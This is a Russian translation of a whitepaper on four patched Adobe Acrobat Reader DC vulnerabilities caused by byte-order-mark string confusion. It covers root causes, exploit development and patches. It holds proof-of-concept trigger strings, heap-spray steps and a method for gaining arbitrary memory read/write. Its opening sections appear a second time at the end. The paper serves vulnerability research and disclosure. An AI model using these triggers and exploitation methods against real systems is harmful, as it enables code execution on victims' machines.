1. Введение
В настоящее время почти трудно увидеть уязвимости, вызванные пораженными строками, не говоря уже о тех, которые можно эксплуатировать. Это неудивительно, потому что все небезопасные функции были запрещены SDL (Security Development Lifecycle) при разработке современного программного обеспечения. Тем не менее, по-прежнему возможно появление критических уязвимостей в системе безопасности, если разработчики неправильно используют функции повышенной безопасности.
В случае Adobe Acrobat Reader DC были реализованы некоторые функции обработки строк с улучшенной безопасностью, но разработчики использовали эти функции неправильно. В общих случаях это не имеет большого значения. Однако при работе со строками в этом специальном программном обеспечении также может быть легко инициировано условие смешения типов. Эти два условия можно использовать для выполнения кода в некоторых сценариях.
В этом документе некоторые уязвимости, связанные с обработкой строк, будут рассмотрены как можно более подробно, включая анализ первопричин, разработку эксплойтов и анализ патчей. Две из этих уязвимостей могут привести к раскрытию информации, еще две могут обеспечить выполнение кода напрямую.
Пожалуйста, не стесняйтесь обращаться к автору в Твиттере, если у вас есть какие-либо вопросы по этой статье.
2. Основные концепции
В этой главе объясняются некоторые основные понятия о типах строк, метке порядка байтов и функциях обработки строк. Пропустите этот раздел, если вы уже знакомы с ними.
2.1 Типы строк
В Windows строки можно разделить на две категории: строки ANSI и строки Unicode. Строка ANSI состоит из серии символов ANSI, в которой каждый символ закодирован как 8-битное значение. Строка Unicode состоит из серии символов Unicode. Windows представляет символы Unicode с использованием кодировки UTF-16, в которой каждый символ кодируется как 16-битное значение.
Символ терминатора для строк ANSI является - \ x00, а для строк Unicode - \ x00\x00.
2.2 Метка порядка байтов
Если у символа есть несколько байтов данных, он может быть представлен в двух формах: little-endian и big-endian. Big-endian помещает наиболее значимый байт первым и наименее значимый байт последним, тогда как little-endian делает обратное.
1
Для строк UTF-16 порядок байтов можно указать в имени набора символов. Например, UTF-16LE указывает, что порядок байтов является little-endian, а UTF-16BE указывает, что порядок байтов является big-endian. Мы также можем использовать символ метки порядка байтов (BOM) U + FEFF, чтобы указать порядок байтов в строке. Порядок байтов самого символа спецификации указывает порядок байтов всей строки. Порядок байтов в строке может зависеть от платформы, если мы не указали его явно.
Обратите внимание, что символ спецификации всегда будет в начале строки. В другие места ставить бессмысленно.
2.3 Функции обработки строк
2.3.1 Традиционные функции
В следующей таблице показаны некоторые функции обработки строк, предоставляемые стандартной библиотекой времени выполнения C.
Эти функции очень удобны в использовании, но они также уязвимы для атак переполнения буфера.
2.3.2 Другая версия функций
В стандартной библиотеке времени выполнения C есть еще одна версия функций обработки строк. Буква n помещается в имена функций, чтобы отличать их от обычной версии функций.
Некоторые думают, что это версия традиционных функций с усиленной безопасностью. Например, strncpy более безопасен, чем strcpy, потому что его третий параметр может использоваться для указания количества символов, которые необходимо обработать.
В большинстве случаев это звучит разумно. Но она все еще уязвима при работе с некоторыми случаями. Символ NULL не будет добавлен в конец целевой строки, если длина исходной строки равна или больше, чем значение третьего параметра num. Это приведет к выходу за границы при обработке строк без символа терминатора.
Почему это могло произойти? Поскольку strncpy не была разработана как более безопасная версия strcpy.
strncpy изначально была введена в библиотеку C для работы с полями имен фиксированной длины в таких структурах, как записи каталога. Такие поля не используются так же, как строки: конечный ноль не нужен для поля максимальной длины, а установка конечных байтов для более коротких имен на нуль обеспечивает эффективные сравнения полей. strncpy по происхождению не является ограниченным strcpy, и комитет предпочел признать существующую практику, а не изменять функцию, чтобы она лучше соответствовала такому использованию.
2.3.3 Функции повышенной безопасности
Microsoft реализовала улучшенную версию функций обработки строк, имена которых заканчиваются суффиксом _s. В следующей таблице показаны традиционная версия и версия с повышенной безопасностью функций для копирования строк.
Давайте возьмем strcpy_s и strncpy_s в качестве примера, чтобы проиллюстрировать, как работает версия функций с повышенной безопасностью.
errno_t strcpy_s(char *dest, rsize_t dest_size, const char *src);
errno_t strncpy_s(char *dest, size_t dest_size, const char *src, size_t num);
При копировании содержимого в целевой буфер эти функции всегда обеспечивают возможность добавления завершающего нулевого символа. В противном случае операция завершится неудачно, и будет вызван обработчик недопустимого параметра. Не гарантируется, что версия функций обработки строк с повышенной безопасностью будет защищена при неправильном использовании. Например, даже функция strcpy_s может привести к переполнению буфера, если разработчики передают неправильное значение в качестве размера целевого буфера.
Здесь значение 0x7FFF намного больше, чем фактический размер целевого буфера. Такое использование убьет все функции безопасности. Функция будет работать как традиционная функция strcpy, что приведет к переполнению буфера.
Обратите внимание, что эти функции специфичны для Microsoft, что означает, что они доступны только в среде разработки Windows. Однако они могут быть доступны в некоторых последних версиях библиотеки C++.
3. Основные понятия Acrobat JavaScript
Прежде чем углубляться в детали уязвимостей, давайте узнаем некоторые базовые знания об Acrobat JavaScript, которые будут полезны для написания эксплойтов.
Adobe Acrobat Reader DC использует SpiderMonkey (может быть версия 24.2.0) в качестве движка JavaScript. Чтобы получить базовые знания о SpiderMonkey и методах отладки кода JavaScript, я рекомендую вам прочитать статью . Прочтите раздел 2.1 - Представление в памяти достаточно, чтобы понять приемы эксплуатации, представленные в этой статье.
Прочтите приложение к этому документу, чтобы узнать, как выполнять код JavaScript в файлах PDF.
3.1 Объект JavaScript Acrobat
В этом разделе объект поля будет использоваться в качестве примера для объяснения некоторых ключевых структур объектов JavaScript Acrobat. Согласно документу JavaScript ™ for Acrobat® API Reference, мы можем вызвать Document.addField для создания объекта поля.
Здесь мы создали объект текстового поля и поместили его в нижний левый угол первой страницы. Кроме того, мы создали объект массива и задали первому элементу специальное значение, которое будет использоваться для поиска объекта массива в памяти, и установили второй элемент ссылкой на вновь созданный объект поля.
3.1.1 Расположение объекта
Теперь мы можем искать значение 0x40414140 в памяти процесса и исследовать базовые структуры объекта поля. Для каждого объекта JavaScript Acrobat размер объекта всегда будет 0x48 байтов.
3.1.2 Имя объекта
Член со смещением 0x0C указывает на строку имени объекта.
0:019> da 3ecd4fb0
3ecd4fb0 "Field"
3.1.3 Свойства объекта
Элемент со смещением 0x10 указывает на хэш-таблицу свойств объекта. Обратите внимание, что слово свойство относится к внутренним свойствам объекта JavaScript Acrobat, а не к свойствам объекта JavaScript SpiderMonkey. Размер хэш-таблицы всегда будет 0x80 байтов, первая половина хранит массивы, чтобы позаботиться о конфликтах имен, другая половина хранит соответствующие значения длины массивов. Размер каждого элемента массива составляет 8 байтов, первые 4 байта указывают на строку имени свойства, остальные 4 байта содержат значение свойства.
Мы можем написать код сценария WinDbg для перечисления всех имен и значений свойств.
Вы могли заметить, что есть свойство, также называемое Field. В настоящее время нам нужно только знать, что для разных типов объектов поля Acrobat размер внутреннего объекта свойства Field будет разным.
Вы также могли заметить, что объекты JavaScript SpiderMonkey и объекты JavaScript Acrobat не имеют таблиц виртуальных функций. Но у внутреннего объекта свойства Field есть таблица виртуальных функций.
3.1.4 Функции объекта
Член со смещением 0x20 указывает на хеш-таблицу функции объекта. Эта таблица работает точно так же, как хэш-таблица свойств. Мы можем повторно использовать сценарий WinDbg для извлечения имен и адресов функций.
XFA (также известный как формы XFA) означает архитектуру XML-форм, которая может использоваться в файлах PDF. В этом разделе объясняются некоторые ключевые структуры объектов XFA. Подобно объектам Acrobat JavaScript, мы можем использовать тот же способ для исследования объектов XFA.
Согласно документу Adobe LiveCycle Designer 11 Scripting Reference, мы можем вызвать createNode для создания определенного объекта XFA.
Во-первых, нам нужно выяснить расположение хэш-таблицы свойств.
Затем мы можем перечислить все свойства объекта Acrobat JavaScript.
В отличие от обычных объектов JavaScript Acrobat, объекты XFA имеют два специальных свойства с именами xfaappmodelimpl и xfaobjectimpl, и последнее - это то, что нас интересует.
Для разных типов объектов XFA размер внутреннего объекта свойства xfaobjectimpl будет разным. И объекты xfaobjectimpl также имеют таблицы виртуальных функций.
3.3 Объект ArrayBuffer
Объекты ArrayBuffer играют важную роль при получении произвольных примитивов чтения и записи. Когда значение byteLength больше 0x68, резервное хранилище объекта ArrayBuffer будет выделено из системной кучи (через ucrtbase!Calloc), в противном случае оно будет выделенно из постоянной кучи SpiderMonkey. Кроме того, при выделении из системной кучи нижележащий буфер кучи будет на 0x10 байт больше для хранения заголовка ObjectElements.
Имена членов в ObjectElements не имеют смысла для ArrayBuffer. Здесь второй член содержит значение byteLength, а третий член содержит указатель на связанный объект DataView. Ценности других членов бессмысленны.
После выполнения вышеуказанного кода JavaScript резервное хранилище объекта ArrayBuffer будет выглядеть следующим образом.
Если мы можем изменить значение члена byteLength объектов ArrayBuffer, тогда мы сможем получить доступ за пределы границ. Но будьте осторожны с указателем связанного объекта DataView, он может быть только 0 или действительным указателем DataView, процесс может немедленно завершиться с ошибкой, если мы изменим его на некоторые другие значения.
4. Анализ первопричин
В Adobe Acrobat Reader DC реализованы некоторые функции обработки строк с улучшенной безопасностью, которые можно идентифицировать путем поиска определенных строк. В следующей таблице приведены подробные сведения об этих функциях.
При обработке строк общие API проверяют тип строки и перенаправляют запрос соответствующей функции. Следующий код показывает, как работает функция strnlen_safe.
Здесь функция проверяет тип строки по первым двум байтам строки. Строка будет распознана как строка Unicode, если первый байт равен 0xFE, а второй - 0xFF, в противном случае она будет распознана как строка ANSI. Фактически, FE FF - это байты метки порядка байтов в формате с прямым порядком байтов.
Для срабатывания уязвимостей необходимы два условия.
1. При проверке типа строки может возникнуть путаница. Строку ANSI можно распознать как строку Unicode, если первые два байта - это FEFF. Это может привести к выходу за границы доступа, поскольку нулевой терминатор Unicode не может быть найден в строке ANSI.
2. Универсальные API используются разработчиками неправильно. В большинстве случаев размер целевого буфера будет установлен как 0x7FFFFFFF. Как обсуждалось ранее, это может привести к проблемам с безопасностью.
Используя эти два условия, мы можем добиться раскрытия информации или выполнения кода в некоторых сценариях.
5. Примеры
5.1 CVE-2019-7032
5.1.1 Описание уязвимости
CVE-2019-7032 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2019.010.20069 и более ранние версии и была установлена в 2019.010.20091 с помощью рекомендаций по безопасности APSB19-07.
Она использовался в Tianfu Cup 2018 с уязвимостью Use-After-Free для выполнения кода.
5.1.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
Здесь мы создали объект text и присвоили фальшивую строку Unicode, которая на самом деле была строкой ANSI, свойству userName объекта. Фактически, мы можем использовать другие типы полевых объектов и другие свойства, чтобы вызвать уязвимость. В следующей таблице показаны 18 возможных комбинаций, вызывающих уязвимость. Основные причины этих сбоев одинаковы.
Произошел сбой процесса по адресу AcroForm!PlugInMain + 0xbbbcd из-за чтения за пределами допустимого диапазона.
Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrlen_safe.
Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
Следующий код показывает информацию трассировки стека при сбое процесса. Здесь фрейм стека № 05 AcroForm!Hb_ot_tag_to_language + 0x6524b находился внутри функции установки свойства userName (sub_20A2AE95 в AcroForm.api).
5.1.3 Разработка эксплойтов
Уязвимость сработала во время присвоения полному объекту свойства userName. Важнейшей частью было то, что исходная строка будет скопирована во вновь созданный буфер кучи, который будет связан со свойством. Это означает, что мы можем прочитать просочившуюся информацию с помощью кода JavaScript. Следующий код показывает упрощенную модель уязвимости.
Чтобы воспользоваться уязвимостью, нам просто нужно поместить объект с указателями виртуальных таблиц за буфер кучи. Как обсуждалось ранее, обычные объекты JavaScript не имеют указателей на виртуальные таблицы. Здесь мы выберем объект dataGroup XFA для использования уязвимости.
Однако функцию Document.addField нельзя будет вызвать в режиме XFA. Если она был вызвана, будет показано исключение.
NotAllowedError: Security settings prevent access to this property or method.
Doc.addField:25
oc undefined:Open
Это может быть решено путем статического определения объекта поля с помощью кода PDF. Следующий код определяет объект текстового поля с именем MyField1.
Мы можем вызвать уязвимость в функции обратного вызова события инициализации основного тега подчиненной формы. Мы можем ссылаться на объект поля, вызвав event.target.getField ('MyField1'). Свойства объекта поля могут быть доступны только для чтения в функциях обратного вызова других событий или если отрисовка PDF-файла завершена.
В следующем коде показано, как использовалась уязвимость для обхода ASLR.
5.1.4 Анализ патча
Уязвимость исправлена в Adobe Acrobat Reader DC 2019.010.20091. Она было исправлено путем помещения 3 дополнительных байтов NULL (всего 4) в конец буфера кучи. Изменения были внесены в функцию sub_20A6CF79 в AcroForm.api.
Она сработает, как ожидалось, даже если строка ANSI обрабатывалась функцией miUCSStrlen_safe, поскольку всегда будет найден терминатор NULL.
5.2 CVE-2019-8199
5.2.1 Описание уязвимости
CVE-2019-8199 - это выходящая за границы уязвимость чтения и записи, которую можно использовать для выполнения кода. Хотя она влияет на Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, её можно использовать только в 2019.010.20099 и более ранних версиях. Она была исправлена в версии 2019.021.20047 с помощью рекомендации по безопасности APSB19-49.
5.2.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
// Tested on Adobe Acrobat Reader DC 2019.010.20099
Collab.unregisterReview('\xFE\xFF');
Или с помощью следующего кода JavaScript.
Collab.unregisterApproval('\xFE\xFF');
Процесс завершился с ошибкой на Annots!PlugInMain + 0x51377 из-за чтения за пределами допустимого диапазона.
Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrcpy_safe.
Чтение и запись за пределами границ могут быть инициированы, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
Следующий код показывает информацию трассировки стека при сбое процесса. Здесь кадр стека #05 Annots!PlugInMain + 0xfa4b8 находился в пределах функции реализации, лежащей в основе Collab.unregisterReview (sub_221FCC5D в Annots.api).
5.2.3 Разработка эксплойтов
Уязвимость сработала при вызове функции Collab.unregisterReview. Ключевым моментом было то, что исходная строка будет скопирована во вновь созданный буфер кучи, размер которого был вычислен с помощью вызова ASstrnlen_safe. Но запрос на копирование обработался функцией strcpy_safe. Следующий код показывает упрощенную модель уязвимости.
Чтобы воспользоваться уязвимостью, нам нужно контролировать структуру памяти.
1. Распылите много строк и объектов ArrayBuffer, чтобы они занимали память. Здесь мы каждый раз создаем 5 объектов как единое целое.
2. Освободите первый и третий объекты ArrayBuffer в каждом модуле, чтобы создать много промежутков в памяти.
3. Активируйте уязвимость так, чтобы буфер кучи исходной строки был выделен в первом промежутке, а целевой буфер кучи был выделен во втором промежутке в одном из модулей.
4. Замените значение byteLength четвертого ArrayBuffer значением 0xFFFF. Содержимое строки, второго объекта в каждой единице, будет использоваться для перезаписи byteLength и остановки операции копирования, как только мы достигнем нашей цели. Затем перезапишите значение byteLength пятого буфера ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.
После получения глобального примитива чтения и записи мы можем выполнить поиск в обратном направлении, чтобы вычислить базовый адрес буфера резервного хранилища объекта ArrayBuffer, чтобы получить произвольный примитив чтения и записи. Мы можем выполнить поиск по двум конкретным значениям, ffeeffee или f0e0d0c0, чтобы вычислить базовый адрес.
Очень легко добиться выполнения кода, получив произвольный примитив чтения и записи. Ниже приведены оставшиеся шаги, которые не будут обсуждаться в этой статье.
- Перехват EIP
- Обход ASLR
- Обход DEP
- Обход CFG
В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.
5.2.4 Анализ патчей
Как обсуждалось ранее, эта уязвимость затрагивает Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, но ее можно использовать только в версиях 2019.010.20099 и более ранних.
Возможность эксплуатации уязвимости была нарушена, начиная с Adobe Acrobat Reader DC 2019.012.20034. 2 дополнительных байта NULL (всего 3) были добавлены в конец буфера кучи.
Изменения были внесены в функцию sub_2383F4F8 в EScript.api.
Патч работает только для предотвращения использования уязвимости. Исходный файл POC все еще может привести к сбою процесса, поскольку буфер целевой кучи был недостаточно велик для хранения признака конца строки Unicode.
Уязвимость была окончательно устранена в Adobe Acrobat Reader DC 2019.021.20047. Это было исправлено путем выделения 2 дополнительных байтов для целевого буфера кучи для хранения признака конца строки Unicode.
Изменения внесены в функцию sub_2212A50B в Annots.api.
5.3 CVE-2020-3804
5.3.1 Описание уязвимости
CVE-2020-3804 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.
5.3.2 Анализ первопричин
Как обсуждалось ранее, символ спецификации всегда будет в начале строки. В другие места ставить его бессмысленно. Adobe Acrobat Reader DC будет рассматривать строки, которые содержат символ спецификации в других местах, как недопустимые. Код, отвечающий за проверку символа спецификации, можно найти в функции sub_2385B3A9 в EScript.api.
При обработке недопустимых строк такого типа в Adobe Acrobat Reader DC возникает исключение. Например, исключение JavaScript будет выброшено в базовой функции console.println при выполнении следующего кода JavaScript.
// Tested on Adobe Acrobat Reader DC 2020.006.20034
console.show();
console.println('[\xFE\xFF]');
Следующее сообщение об исключении будет напечатано в окне консоли.
TypeError: Invalid argument type.
Console.println:2oc undefined:Open
===> Parameter cMessage.
Все выглядит прекрасно. Но прежде чем углубляться в детали уязвимости, давайте выясним, как было создано сообщение об ошибке. Здесь мы напечатаем имена свойств и значения свойств объектов Error и Event в ветке catch.
Следующее сообщение будет напечатано в окне консоли.
Похоже, что некоторые значения объекта Error были созданы на основе объекта Event. Это верно для Adobe Acrobat Reader DC, и во время создания объекта Error может сработать уязвимость чтения за пределами допустимого диапазона.
Уязвимость может быть вызвана следующим кодом JavaScript. Последняя строка использовалась для вызова исключения. Фактически, вы можете использовать другие методы, чтобы вызвать уязвимость. Просто не забудьте убедиться, что исключение должно исходить от внутренней реализации кода. Вы не можете активировать уязвимость, вызвав исключение напрямую, потому что оно будет работать с разными путями кода.
Процесс завершился с ошибкой на EScript!Mozilla::HashBytes + 0x49f4d из-за чтения вне пределов.
Здесь поддельная строка Unicode, свойство fileName объекта Error, обрабатывалась в функции miUCSStrlen_safe.
Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
Эта уязвимость немного отличалась от предыдущих. Размер буфера кучи был намного больше, чем длина строки, а оставшиеся байты были неинициализированы (заполнены с помощью c0, когда куча страниц была включена). Уязвимости не будет, если куча была инициализирована (заполнена 00).
Продолжим анализ по информации трассировки стека распределения кучи.
Информация трассировки стека указывает, что буфер кучи был выделен функцией realloc, что объясняет, почему буфер кучи был неинициализирован. Фрейм стека EScript!Double_conversion:: DoubleToStringConverter::CreateDecimalRepresentation + 0x0 00447ce находился в функции sub_238AF3A0, которая отвечала за создание объекта Error.
В следующем коде показано, как было создано свойство fileName объекта Error.
Здесь был создан буфер кучи для хранения содержимого Error.fileName. Размер буфера кучи был инициализирован равным 0x20 и будет изменяться динамически. Например, размер будет удвоен, если исходный буфер кучи был слишком мал для хранения содержимого при вызове string_copy или string_append. За этот процесс отвечает функция sub_23846F9A, и для создания нового буфера кучи будет вызвана функция realloc.
|-- string_copy or string_append
|-- sub_23846F9A
|-- realloc
Хотя исходный буфер кучи при создании был заполнен нулями, вновь созданный буфер кучи, возвращенный функцией realloc, не будет заполнен нулями. Чтение вне пределов может быть инициировано при обработке содержимого позже в функции sub_238AF3A0. Следующий код показывает информацию трассировки стека при сбое процесса.
5.3.3 Разработка эксплойтов
Эту уязвимость можно использовать для раскрытия информации в обход ASLR. Выглядит почти так же, как CVE-2019-7032. Следующий код показывает упрощенную модель уязвимости.
Чтобы воспользоваться этой уязвимостью, мы должны найти объект XFA с определенным размером, который может быть только 0x20, 0x40, 0x80 и т.д. Размер contentArea объекта XFA был точно равен 0x80 в Adobe Acrobat Reader DC 2019.021.20061 и более ранних версиях. Обратите внимание, что размер объекта contentArea был изменен на 0x84, начиная с Adobe Acrobat Reader DC 2020.006.20034. Вам нужно найти другой подходящий объект, если вы хотите написать эксплойт для версии 2020.006.20034. Для удобства в данном документе в качестве цели для использования выбрана версия 2019.021.20061.
В следующем коде показано, как использовалась уязвимость для обхода ASLR.
5.3.4 Анализ патчей
Уязвимость была исправлена в Adobe Acrobat Reader DC 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13. Она было исправлено путем выделения нового буфера кучи для хранения содержимого Error.fileName и помещения 4 байтов NULL в конец буфера кучи, если содержимое было строкой Unicode.
Изменения были внесены в функцию sub_238AF3A0 в EScript.api.
1
5.4 CVE-2020-3805
5.4.1 Описание уязвимости
CVE-2020-3805 - это уязвимость Use-After-Free, которую можно использовать для выполнения кода. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.
5.4.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
Процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f из-за Use-After-Free.
Здесь объект текстового поля, назовем его field1, был создан при первом вызове this.addField. Поле field1 будет помечено как Dead при повторном вызове this.addField. Внутренний объект свойства Field будет освобожден, когда объект поля был помечен как Dead. Когда процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f, регистр edi указывал на освобожденный внутренний объект свойства Field, хотя он не принадлежал field1.
Освобожденный внутренний объект свойства Field будет повторно использован при вызове this.resetForm.
Откровенно говоря, эта уязвимость немного сложнее предыдущих. Основная причина этого не будет обсуждаться в этой статье.
5.4.3 Разработка эксплойтов
Управлять регистром EIP, используя эту уязвимость, несложно. Здесь будет подробно обсуждаться общий метод использования уязвимостей типа Use-After-Free в отношении полевых объектов. Хотя он работает только в Adobe Acrobat Reader DC 2019.012.20040 и более ранних версиях, он может помочь нам добиться выполнения кода за счет эксплуатации самой уязвимости Use-After-Free. Впервые этот метод был опубликован на GitHub (CVE-2019-8039.js) @PTDuy из STARLabs.
Уязвимость можно воспроизвести в Adobe Acrobat Reader DC 2019.012.20040 с помощью следующего кода JavaScript.
Код выглядит почти так же, как и традиционные коды Use-After-Free. Здесь внутренний объект свойства Field для поля переменной будет освобожден во время присвоения свойства userName, и процесс завершится сбоем из-за Use-After-Free.
Однако мы воспользуемся уязвимостью, используя свойство calcOrderIndex вместо других свойств. Следующий текст описывает, как работает свойство calcOrderIndex.
calcOrderIndex
Изменяет порядок вычисления полей в документе. Когда в документ добавляется вычислимый текст или поле со списком, имя поля добавляется к массиву порядка вычислений. Массив порядка вычислений определяет, в каком порядке вычисляются поля. Свойство calcOrderIndex работает аналогично вкладке Calculate, используемой инструментом Acrobat Form.
Ниже приведен псевдокод функции установки свойства calcOrderIndex.
Хотя код будет проверять, был ли объект поля мертвым или нет, это не могло предотвратить срабатывание уязвимости, поскольку объект поля будет помечен как мертвый во время вызова функции unbox_js_value для получения необработанного значения параметра new_index_jsobj.
Для реализации поведения, описанного в стандартном документе, для хранения имен полевых объектов использовался строковый массив. Индекс имени определяет порядок вычисления полевого объекта. Когда значение свойства calcOrderIndex было изменено на другое значение, элементы строкового массива должны быть соответствующим образом скорректированы.
Следующий код показывает, как был настроен массив строк.
Важнейшей частью было то, что при вставке имени поля будет создан буфер кучи и будет вызываться strcpy_safe для копирования строки имени. Мы можем управлять содержимым объекта internal_field при срабатывании уязвимости, чтобы можно было полностью контролировать содержимое объекта field_name.
Мы можем создать объект StringStruct и установить длину меньше фактической длины буфера, чтобы мы могли запускать запись вне границ при вызове strcpy_safe. Затем мы можем перезаписать член byteLength объекта ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.
Как обсуждалось ранее, это общий метод использования уязвимостей типа Use-After-Free, связанных с полевыми объектами. Вы можете добиться выполнения кода, если освободите внутренний объект свойства Field объекта поля.
В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.
5.4.4 Анализ патчей
В этом разделе не будет обсуждаться, как была исправлена уязвимость в Adobe Acrobat Reader DC 2020.006.20042. Вместо этого будет обсуждаться, почему эксплойт больше не работает, начиная с Adobe Acrobat Reader DC 2019.021.20047.
Обновленная функция установки свойства calcOrderIndex показывает, что флаг будет установлен перед доступом к внутреннему объекту свойства Field, и флаг будет сброшен перед выходом из функции установки.
Здесь свойство с именем LockFieldProp будет привязано к внутреннему объекту свойства Field функцией sub_20AC60D7.
Функция sub_2092AF70 будет вызываться при выполнении кода проверки концепции. В этой функции флаг LockFieldProp будет проверяться в соответствии с глобальной переменной dword_213E79E8. Если флаг установлен в 1, код в операторе if будет пропущен, так что объект поля не будет уничтожен.
Анализ показывает, что все функции установки свойств объекта поля защищены одним и тем же механизмом. Другими словами, кажется, что больше невозможно уничтожить объект поля в функциях установки его свойств.
6. Благодарности
Я хотел бы поблагодарить HITBSecConf 2020 Amsterdam за предоставленную мне возможность поделиться своими последними исследованиями и ZeroNights 2019 за предоставленную мне возможность поделиться своими предыдущими исследованиями по этой теме. Я также хотел бы поблагодарить Adobe PSIRT за фикс уязвимости перед конференциями.
Использованная литература:
[01] UTF-8, UTF-16, UTF-32 & BOM - unicode.org
[02] strncpy() history - lwn.net
[03] String Handling <string.h> - ANSI C Rationale
[04] strcpy_s, wcscpy_s - MSDN
[05] strncpy_s, wcsncpy_s - MSDN
[06] OR'LYEH? The Shadow over Firefox - phrack.org
[07] JavaScript™ for Acrobat® API Reference - adobe.com
[08] Adobe LiveCycle Designer 11 Scripting Reference - createNode - adobe.com
[09] Deep Analysis of CVE-2019-8014: The Vulnerability Ignored 6 Years Ago - xlab.tencent.com
[10] Two Bytes to Rule Adobe Reader Twice: The Black Magic Behind the Byte Order Mark -
zeronights.ru
[11] CVE-2019-8039.js - gist.github.com
7. Приложение
7.1 Adobe FTP-сервер
Все офлайн-установщики Adobe Acrobat Reader DC можно найти на FTP-сервере Adobe.
ftp://ftp.adobe.com/pub/adobe/reader/win/AcrobatDC/
7.2 Обычный шаблон PDF
Этот шаблон показывает, как выполнять код JavaScript в обычных файлах PDF.
7.3 Шаблон XFA PDF
Этот шаблон показывает, как выполнять код JavaScript в файлах XFA PDF.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://kiprey.github.io/2020/06/AN...e_times_with_malformed_strings_whitepaper.pdf
В настоящее время почти трудно увидеть уязвимости, вызванные пораженными строками, не говоря уже о тех, которые можно эксплуатировать. Это неудивительно, потому что все небезопасные функции были запрещены SDL (Security Development Lifecycle) при разработке современного программного обеспечения. Тем не менее, по-прежнему возможно появление критических уязвимостей в системе безопасности, если разработчики неправильно используют функции повышенной безопасности.
В случае Adobe Acrobat Reader DC были реализованы некоторые функции обработки строк с улучшенной безопасностью, но разработчики использовали эти функции неправильно. В общих случаях это не имеет большого значения. Однако при работе со строками в этом специальном программном обеспечении также может быть легко инициировано условие смешения типов. Эти два условия можно использовать для выполнения кода в некоторых сценариях.
В этом документе некоторые уязвимости, связанные с обработкой строк, будут рассмотрены как можно более подробно, включая анализ первопричин, разработку эксплойтов и анализ патчей. Две из этих уязвимостей могут привести к раскрытию информации, еще две могут обеспечить выполнение кода напрямую.
Пожалуйста, не стесняйтесь обращаться к автору в Твиттере, если у вас есть какие-либо вопросы по этой статье.
2. Основные концепции
В этой главе объясняются некоторые основные понятия о типах строк, метке порядка байтов и функциях обработки строк. Пропустите этот раздел, если вы уже знакомы с ними.
2.1 Типы строк
В Windows строки можно разделить на две категории: строки ANSI и строки Unicode. Строка ANSI состоит из серии символов ANSI, в которой каждый символ закодирован как 8-битное значение. Строка Unicode состоит из серии символов Unicode. Windows представляет символы Unicode с использованием кодировки UTF-16, в которой каждый символ кодируется как 16-битное значение.
Символ терминатора для строк ANSI является - \ x00, а для строк Unicode - \ x00\x00.
2.2 Метка порядка байтов
Если у символа есть несколько байтов данных, он может быть представлен в двух формах: little-endian и big-endian. Big-endian помещает наиболее значимый байт первым и наименее значимый байт последним, тогда как little-endian делает обратное.
Для строк UTF-16 порядок байтов можно указать в имени набора символов. Например, UTF-16LE указывает, что порядок байтов является little-endian, а UTF-16BE указывает, что порядок байтов является big-endian. Мы также можем использовать символ метки порядка байтов (BOM) U + FEFF, чтобы указать порядок байтов в строке. Порядок байтов самого символа спецификации указывает порядок байтов всей строки. Порядок байтов в строке может зависеть от платформы, если мы не указали его явно.
Обратите внимание, что символ спецификации всегда будет в начале строки. В другие места ставить бессмысленно.
2.3 Функции обработки строк
2.3.1 Традиционные функции
В следующей таблице показаны некоторые функции обработки строк, предоставляемые стандартной библиотекой времени выполнения C.
Эти функции очень удобны в использовании, но они также уязвимы для атак переполнения буфера.
2.3.2 Другая версия функций
В стандартной библиотеке времени выполнения C есть еще одна версия функций обработки строк. Буква n помещается в имена функций, чтобы отличать их от обычной версии функций.
Некоторые думают, что это версия традиционных функций с усиленной безопасностью. Например, strncpy более безопасен, чем strcpy, потому что его третий параметр может использоваться для указания количества символов, которые необходимо обработать.
C:
char *strncpy(char *destination, const char *source, size_t num);В большинстве случаев это звучит разумно. Но она все еще уязвима при работе с некоторыми случаями. Символ NULL не будет добавлен в конец целевой строки, если длина исходной строки равна или больше, чем значение третьего параметра num. Это приведет к выходу за границы при обработке строк без символа терминатора.
Почему это могло произойти? Поскольку strncpy не была разработана как более безопасная версия strcpy.
strncpy изначально была введена в библиотеку C для работы с полями имен фиксированной длины в таких структурах, как записи каталога. Такие поля не используются так же, как строки: конечный ноль не нужен для поля максимальной длины, а установка конечных байтов для более коротких имен на нуль обеспечивает эффективные сравнения полей. strncpy по происхождению не является ограниченным strcpy, и комитет предпочел признать существующую практику, а не изменять функцию, чтобы она лучше соответствовала такому использованию.
2.3.3 Функции повышенной безопасности
Microsoft реализовала улучшенную версию функций обработки строк, имена которых заканчиваются суффиксом _s. В следующей таблице показаны традиционная версия и версия с повышенной безопасностью функций для копирования строк.
Давайте возьмем strcpy_s и strncpy_s в качестве примера, чтобы проиллюстрировать, как работает версия функций с повышенной безопасностью.
errno_t strcpy_s(char *dest, rsize_t dest_size, const char *src);
errno_t strncpy_s(char *dest, size_t dest_size, const char *src, size_t num);
